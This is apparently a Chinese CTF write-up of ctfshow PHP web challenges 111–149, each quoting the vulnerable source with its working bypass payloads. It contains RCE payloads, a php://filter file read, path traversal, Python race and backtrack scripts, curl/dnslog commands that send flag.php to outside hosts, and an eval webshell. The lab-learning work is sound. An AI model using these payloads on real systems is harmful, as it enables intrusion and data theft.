if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){ die("error v1"); } if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){ die("error v2"); } if(preg_match('/ctfshow/', $v1)){ getFlag($v1,$v2); } }
|
考察点:php超全局变量$GLOBALS的使用
1 2
| $GLOBALS — 引用全局作用域中可用的全部变量 一个包含了全部变量的全局组合数组。变量的名字就是数组的键。
|
举个例子
1 2 3 4
| $a=123; $b=456; var_dump($GLOBALS); 123
|
返回内容较多就不一一列出了。我们只看最后两条,发现我们自行定义的变量会被输出。
1 2 3 4
| ["a"]=> int(123) ["b"]=> int(456)
|
还有一个问题php变量前面加&符号是什么意思
1 2 3 4 5
| $foo = 321; $bar = &$foo; $bar = 123; print $foo;
|
为什么会这样呢?
改动新的变量将影响到原始变量,这种赋值操作更加快速
注意:只有命名变量才可以传地址赋值
就是说,改变了$bar的值,也就改变了$foo的值
了
web112
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){ die("hacker!"); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
考察点:php伪协议绕过is_file+highlight_file对于php伪协议的使用
过滤了不少东西,其实主要的是下面的
1 2
| is_file — 判断给定文件名是否为一个正常的文件 is_file ( string $filename ) : bool
|
我们的目的是不能让is_file检测出是文件,并且 highlight_file可以识别为文件。这时候可以利用php伪协议。
1 2 3 4 5 6 7
| 可以直接用不带任何过滤器的filter伪协议 payload:file=php: 也可以用一些没有过滤掉的编码方式和转换方式 payload:file=php: file=compress.zlib: payload:file=php: 还有一些其他的,可以参考php文档
|
web113
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); error_reporting(0); function filter($file){ if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!"; }
|
其实可以利用
不过题解是
1
| ?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/flag.php
|
在linux中/proc/self/root是指向根目录的,也就是如果在命令行中输入ls /proc/self/root,其实显示的内容是根目录下的内容
多次重复后绕过is_file的具体原理尚不清楚,希望有师傅解答下。
web114
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| error_reporting(0); highlight_file(__FILE__); function filter($file){ if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){ die('hacker!'); }else{ return $file; } } $file=$_GET['file']; echo "师傅们居然tql都是非预期 哼!"; if(! is_file($file)){ highlight_file(filter($file)); }else{ echo "hacker!";
|
看了看过滤留出了filter
web115
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } $num=$_GET['num']; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ if($num=='36'){ echo $flag; }else{ echo "hacker!!"; } }else{ echo "hacker!!!"; }
|
考察点:trim函数的绕过+is_numeric绕过
1 2 3 4 5 6 7 8 9 10 11 12 13
| 语法 trim(string,charlist)
参数 描述 string 必需。规定要检查的字符串。 charlist 可选。规定从字符串中删除哪些字符。如果省略该参数,则移除下列所有字符:
"\0" - NULL "\t" - 制表符 "\n" - 换行 "\x0B" - 垂直制表符 "\r" - 回车 " " - 空格
|
做个简单的小测试
1 2 3 4 5 6
| for ($i=0; $i <128 ; $i++) { $x=chr($i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } }
|
除了数字和+-.号以外还有 %09 %0a %0b %0c %0d %20
再来看看 trim+is_numeric
1 2 3 4 5 6
| for ($i=0; $i <=128 ; $i++) { $x=chr($i).'1'; if(trim($x)!=='1' && is_numeric($x)){ echo urlencode(chr($i))."\n"; } }
|
发现除了+-.号以外还有只剩下%0c也就是换页符了,所以这个题只有这一个固定的解了。
其实还可以这样
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| function filter($num){ $num=str_replace("0x","1",$num); $num=str_replace("0","1",$num); $num=str_replace(".","1",$num); $num=str_replace("e","1",$num); $num=str_replace("+","1",$num); return $num; } for ($i=0; $i <=128 ; $i++) { $num=chr($i).'36'; if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){ echo urlencode(chr($i))."\n"; } }
|
web123、125、126
1 2 3 4 5 6 7 8 9
| $a=$_SERVER['argv']; $c=$_POST['fun']; if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){ if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){ if($fl0g==="flag_give_me"){ echo $flag; } } }
|
第一个难搞的地方isset($_POST['CTF_SHOW.COM'])
因为php变量命名是不允许使用点号的
PHP默认把. 空格 [ +
转化成下划线但是有一个转换规则
对变量不符合规则的变量名里面只转换一次,类似于双写绕过,如果两个不合法只转换一个,后面的不再转换,其中空格 + . [ = _
1 2
| POST: CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag post: CTF_SHOW=&CTF[SHOW.COM=&fun=var_dump($GLOBALS) 题目出不来,本地测试可以
|
这是我能理解的方法
其种出题人给的题解是
1 2
| get: a=1+fl0g=flag_give_me post: CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
|
1
| GET:?1=flag.php POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])
|
1 2
| GET:?$fl0g=flag_give_me POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])
|
我自己本地测试了下
1 2 3 4 5 6 7
| <?php $a=$_SERVER['argv']; var_dump($a);
传入 a=1+fl0g=flag_give_me 结果如下 array(2) { [0]=> string(3) "a=1" [1]=> string(17) "fl0g=flag_give_me" }
|
parse_str()
又大佬啃了下php的c源码总结如下
1 2 3 4
| CLI模式下直接把 request info ⾥⾯的argv值复制到arr数组中去 继续判断query string是否为空, 如果不为空把通过+符号分割的字符串转换成php内部的zend_string, 然后再把这个zend_string复制到 arr 数组中去。
|
这样就可以通过加号+分割argv成多个部分,正如我们上面测试的结果。
还有一个解法不太理解
cli模式下(命令行) $_SERVER['argv'][0]
,其余是传递给脚本的参数
web网页下
在php.ini开启register_argc_argv配置项 设置register_argc_argv = On所以可以控制$a['0']
1 2 3 4 5 6 7 8 9 10 11 12 13
| 1、cli模式(命令行)下
第一个参数$_SERVER['argv'][0]是脚本名,其余的是传递给脚本的参数
2、web网页模式下
在web页模式下必须在php.ini开启register_argc_argv配置项 设置register_argc_argv = On(默认是Off),重启服务,$_SERVER[‘argv’]才会有效果
这时候的$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]
$argv,$argc在web模式下不适用
|
1 2
| 因为我们是在网页模式下运行的,所以$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']也就是$a[0]= $_SERVER['QUERY_STRING'] 这时候我们只要通过 eval("$c".";");将$flag赋值flag_give_me就可以了。
|
1 2 3
| payload: get: $fl0g=flag_give_me; post: CTF_SHOW=1&CTF%5bSHOW.COM=1&fun=eval($a[0])
|
web127
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| error_reporting(0); include("flag.php"); highlight_file(__FILE__); $ctf_show = md5($flag); $url = $_SERVER['QUERY_STRING'];
function waf($url){ if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){ return true; }else{ return false; } }
if(waf($url)){ die("嗯哼?"); }else{ extract($_GET); }
if($ctf_show==='ilove36d'){ echo $flag; }
|
其实没什么难点捋一遍下来
extract() 函数:将键值 "Cat"、"Dog" 和 "Horse" 赋值给变量 $a、$b 和 $c:
1 2 3 4 5 6 7
| <?php $a = "Original"; $my_array = array("a" => "Cat","b" => "Dog", "c" => "Horse"); extract($my_array); echo "\$a = $a; \$b = $b; \$c = $c";
?>
|
其实这个函数和par_str()
就是赋值
只用看最后一个if
1 2
| if($ctf_show==='ilove36d'){ echo $flag;
|
那么直接走payload:
我们让ctf_show=ilove36d 传进去但是有过滤,不过没过滤完,空格 + . [ = _
,通过搜索发现空格没过滤
web128
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| error_reporting(0); include("flag.php"); highlight_file(__FILE__);
$f1 = $_GET['f1']; $f2 = $_GET['f2'];
if(check($f1)){ var_dump(call_user_func(call_user_func($f1,$f2))); }else{ echo "嗯哼?"; }
function check($str){ return !preg_match('/[0-9]|[a-z]/i', $str); }
|
考察点:gettext拓展的使用
**GetText:一个字符串处理的函数或者说功能,进行字符替换等等. **
在开启该拓展后 _() 等效于 gettext()
1 2 3 4 5 6
| <?php echo gettext("phpinfo"); 结果 phpinfo
echo _("phpinfo"); 结果 phpinfo
|
所以 call_user_func(‘_’,’phpinfo’) 返回的就是phpinfo
因为我们要得到的flag就在flag.php中,所以可以直接用get_defined_vars
1 2
| get_defined_vars ( void ) : array 此函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量
|
1 2
| payload: f1=_&f2=get_defined_vars
|
web129
1 2 3 4 5 6 7 8
| error_reporting(0); highlight_file(__FILE__); if(isset($_GET['f'])){ $f = $_GET['f']; if(stripos($f, 'ctfshow')>0){ echo readfile($f); } }
|
1 2
| stripos() 查找字符串在另一字符串中第一次出现的位置(不区分大小写)。
|
一个简单的方法就是远程文件包含,在自己的服务器上写个一句话,然后保存为txt文档。
例如
1
| f=http://url/xxx.txt?ctfshow
|
其中xxx.txt为一句话
要是没有服务器的话,我们也可以用php伪协议绕过
filter伪协议支持多种编码方式,无效的就被忽略掉了。
利用目录穿越漏洞绕过 stripos 检测字符
1
| ?f=/ctfshow/../../../../../../../../../var/www/html/flag.php
|
web130
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = $_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f, 'ctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
利用正则最大回溯次数绕过
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false。这样我们就可以绕过第一个正则表达式了。
这个参数在php 5.2.0版本之后可用。
1 2
| 直接POST f=ctfshow绕过正则 preg_match('/.+?ctfshow/is', $f) 可能.+匹配失败,就不再匹配?
|
web131
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| error_reporting(0); highlight_file(__FILE__); include("flag.php"); if(isset($_POST['f'])){ $f = (String)$_POST['f'];
if(preg_match('/.+?ctfshow/is', $f)){ die('bye!'); } if(stripos($f,'36Dctfshow') === FALSE){ die('bye!!'); }
echo $flag;
}
|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import requests
url = 'http://58ace073-e21f-4c22-b1b0-e81ccf26ab74.chall.ctf.show/' esp = 1000000 ebp = 100000 while True: middle = int((esp+ebp)/2) payload = 'ctfsho' * middle + '36Dctfshow'
data = { 'f': payload }
r = requests.post(url=url, data=data) if 'flag{' in r.text: print(r.text) break elif 'Too Large' in r.text: esp = middle elif 'bye' in r.text: ebp = middle
|
1 2 3 4 5 6 7
| import requests url="http://03771c3c-6afb-4457-a719-19cc6ccf922e.chall.ctf.show/" data={ 'f':'very'*250000+'36Dctfshow' } r=requests.post(url,data=data) print(r.text)
|
web132
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| include("flag.php"); highlight_file(__FILE__);
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){ $username = (String)$_GET['username']; $password = (String)$_GET['password']; $code = (String)$_GET['code'];
if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){ if($code == 'admin'){ echo $flag; } } }
|
考察 php运算符优先级 ||
优先级低于&&
对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。
虚假的前端,在网址后面输入/admin进入源码界面
1 2
| 第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin" 过
|
所以就让username=admin
、code=admin
即可
web133
1 2 3 4 5 6 7
| if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){ eval(substr($F,0,6)); }else{ die("6个字母都还不够呀?!"); } }
|
举个栗子
1 2 3 4 5 6 7 8 9
| get传参 F=`$F `;sleep 3 经过substr($F,0,6)截取后 得到 `$F `; 也就是会执行 eval("`$F `;"); 我们把原来的$F带进去 eval("``$F `;sleep 3`"); 也就是说最终会执行 ` `$F `;sleep 3 ` == shell_exec("`$F `;sleep 3"); 前面的命令我们不需要管,但是后面的命令我们可以自由控制。 这样就在服务器上成功执行了 sleep 3 所以 最后就是一道无回显的RCE题目了
|
然后就是利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)
1 2 3 4
| payload 其中-F 为带文件的形式发送post请求 xx是上传文件的name值,flag.php就是上传的文件 ?F=`$F`;+curl -X POST -F xx=@flag.php http://8clb1g723ior2vyd7sbyvcx6vx1ppe.burpcollaborator.net
|
使用方法
还可以外带
1
| curl http://xxx:4567?p=`tac f*`
|
只能一排一排的带出数据。
那么我们想一想flag.php里面肯定有flag想一想有没有特点用于区别其他行?
hhh,当然是flag{}啦,我们就可以使用grep 命令进行筛选(经过测试发现一排只能带65个字符)
实验
?F=$F
;+curl http://requestbin.net/r/1puo0jq1?p=`cat test2.php|grep flag`
web134
1 2 3 4 5 6 7 8 9 10
| $key1 = 0; $key2 = 0; if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) { die("nonononono"); } @parse_str($_SERVER['QUERY_STRING']); extract($_POST); if($key1 == '36d' && $key2 == '36d') { die(file_get_contents('flag.php')); }
|
考察: php变量覆盖
1 2
| 利用点是 extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。 payload: ?_POST[key1]=36d&_POST[key2]=36d
|
测试源代码
1 2
| parse_str(_SERVER['QUERY_STRING']); var_dump($_POST);
|
1 2 3 4 5 6
| 然后我们传入 _POST[‘a’]=123 会发现输出的结果为array(1) { ["‘a’"]=> string(3) “123” } 也就是说现在的$_POST[‘a’]存在并且值为123
题目中还有个extract($_POST) 这样的话 $a==123
|
web135
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); highlight_file(__FILE__);
if($F = @$_GET['F']){ if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){ eval(substr($F,0,6)); }else{ die("师傅们居然破解了前面的,那就来一个加强版吧"); } }
|
非预期:直接copy
1 2
| F=`$F`; cp flag.php 1.txt F=`$F `;nl f*>2.txt
|
这个没有成功
1 2
| `$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
|
web136
web137
1 2 3 4 5 6 7 8 9 10 11 12 13
| error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
call_user_func($_POST['ctfshow']);
|
啊这。。。
1 2
| post ctfshow=ctfshow::getFlag
|
拓展
1 2 3
| php中 ->与:: 调用类中的成员的区别 ->用于动态语境处理某个类的某个实例 ::可以调用一个静态的、不依赖于其他初始化的类方法.
|
也就是说双冒号可以不用实例化类就可以直接调用类中的方法
web138
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| error_reporting(0); highlight_file(__FILE__); class ctfshow { function __wakeup(){ die("private class"); } static function getFlag(){ echo file_get_contents("flag.php"); } }
if(strripos($_POST['ctfshow'], ":")>-1){ die("private function"); }
call_user_func($_POST['ctfshow']);
|
在上一题的基础上过滤了冒号
这时候就考察我们对call_user_func函数的使用了,call_user_func中不但可以传字符串也可以传数组。
且call_user_func是以数组方式调用函数的
具体使用方法如下
1 2
| call_user_func(array($classname, 'say_hello')); 这时候会调用 classname中的 say_hello方法
|
1
| ctfshow[0]=ctfshow&ctfshow[1]=getFlag
|
web139
web140
1 2 3 4 5 6 7 8 9 10 11 12
| if(isset($_POST['f1']) && isset($_POST['f2'])){ $f1 = (String)$_POST['f1']; $f2 = (String)$_POST['f2']; if(preg_match('/^[a-z0-9]+$/', $f1)){ if(preg_match('/^[a-z0-9]+$/', $f2)){ $code = eval("return $f1($f2());"); if(intval($code) == 'ctfshow'){ echo file_get_contents("flag.php"); } } } }
|
可以看到只要我们让intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
所以方法就挺多了
1 2 3 4 5
| md5(phpinfo()) md5(sleep()) md5(md5()) current(localeconv) sha1(getcwd()) 因为/var/www/html md5后开头的数字所以我们改用sha1
|
1 2 3
| 或者 f1=intval&f2=intval` f1=usleep&f2=usleep
|
web141
1 2 3 4 5 6 7 8 9 10 11 12 13
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/^\W+$/', $v3)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
无数字字母RCE
先来看下正则表达式
/^\W+$/
作用是匹配非数字字母下划线的字符
现在最主要的任务是return怎么绕过。
大家可以看下下面的示例
eval("return 1;phpinfo();");
1 2 3 4 5
| 会发现是无法执行phpinfo()的,但是php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。 这样就好说了。构造出1-phpinfo()-1就可以了,也就是说 v1=1&v2=1&v3=-phpinfo()-。 现在我们的任务就是取构造命令,那我们就用个简单的方式取反来试一下。 运行脚本构造system(‘tac f*’)得到 (~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5) 所以最终payload
|
利用脚本跑 sysytem tac f*
命令前加一些 + - * / 之类的,让它顺利执行
1
| v1=1&v3=-(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)-&v2=1
|
web142
1 2 3 4 5 6 7 8 9 10
| error_reporting(0); highlight_file(__FILE__); if(isset($_GET['v1'])){ $v1 = (String)$_GET['v1']; if(is_numeric($v1)){ $d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d); sleep($d); echo file_get_contents("flag.php"); } }
|
0和0x0绕过 这里绕过因为是因为当成了8进制和16进制
web143
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
在那道题的基础上过滤了写符号,但是可以用异或
web144
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3'];
if(is_numeric($v1) && check($v3)){ if(preg_match('/^\W+$/', $v2)){ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
function check($str){ return strlen($str)===1?true:false; }
|
和上道题比的话弱化了许多
1
| v1=1&v3=-&v2=(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)
|
web145
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
考察点:三目运算符的妙用
小测试
1
| eval("return 1?phpinfo():1;");
|
这样是可以执行phpinfo()的
所以只需要在前面的payload上稍加改动就可以了
1 2
| payload: v1=1&v3=?(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5):&v2=1
|
web146
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| highlight_file(__FILE__); if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){ $v1 = (String)$_GET['v1']; $v2 = (String)$_GET['v2']; $v3 = (String)$_GET['v3']; if(is_numeric($v1) && is_numeric($v2)){ if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){ die('get out hacker!'); } else{ $code = eval("return $v1$v3$v2;"); echo "$v1$v3$v2 = ".$code; } } }
|
又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符
1
| eval("return 1==phpinfo()||1;");
|
1 2
| payload: v1=1&v3===(~%8c%86%8c%8b%9a%92)(~%8b%9e%9c%df%99%d5)||&v2=1
|
web147
1 2 3 4 5 6 7 8 9
| highlight_file(__FILE__);
if(isset($_POST['ctf'])){ $ctfshow = $_POST['ctf']; if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) { $ctfshow('',$_GET['show']); }
}
|
考察点:create_function()代码注入
1 2 3 4 5 6 7
| create_function('$a','echo $a."123"')
类似于
function f($a) { echo $a."123"; }
|
那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于
1 2 3 4
| function f($a) { echo 1;}phpinfo(); } 从而执行phpinfo()命令
|
1 2
| get: show=echo 123;}system('tac f*');// post: ctf=%5ccreate_function
|
%5c
就是\
可以在函数名前加上命名空间
system =>\system
\
是全局命名空间
在PHP的命名空间默认为\
,所有的函数和类都在\
这个命名空间中,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写\function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
web148
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| include 'flag.php'; if(isset($_GET['code'])){ $code=$_GET['code']; if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){ die("error"); } @eval($code); } else{ highlight_file(__FILE__); }
function get_ctfshow_fl0g(){ echo file_get_contents("flag.php"); }
|
还是无数字字母RCE,没有禁用异或符号
1
| code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");
|
但是预解期是中文
1 2
| payload: code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*
|
1 2 3 4
| 其中"`{{{" ^ "?<>/"异或得到_GET $哈=_GET; $_GET[哼]($_GET[嗯]); ?哼=system&嗯=tac f*
|
web149
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| $files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
file_put_contents($_GET['ctf'], $_POST['show']);
$files = scandir('./'); foreach($files as $file) { if(is_file($file)){ if ($file !== "index.php") { unlink($file); } } }
|
条件竞争
预期解 条件竞争
1 2 3
| ctf=1.php show=<?php system('tac /c*');?>
|
多线程脚本也可以一个读一个写
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
|
import io import requests import threading
url = 'http://d3aa0fa3-8a63-4994-8a43-80891c436065.chall.ctf.show/'
def write(): while event.isSet(): data = { 'show': '<?php system("cat /ctfshow_fl0g_here.txt");?>' } requests.post(url=url+'?ctf=1.php', data=data)
def read(): while event.isSet(): response = requests.get(url + '1.php') if response.status_code != 404: print(response.text) event.clear()
if __name__ == "__main__": event = threading.Event() event.set() for i in range(1, 100): threading.Thread(target=write).start()
for i in range(1, 100): threading.Thread(target=read).start()
|
非预期:直接写一句话到index.php
GET ?ctf=index.php
POST show=<?php eval($_POST[hack]);?>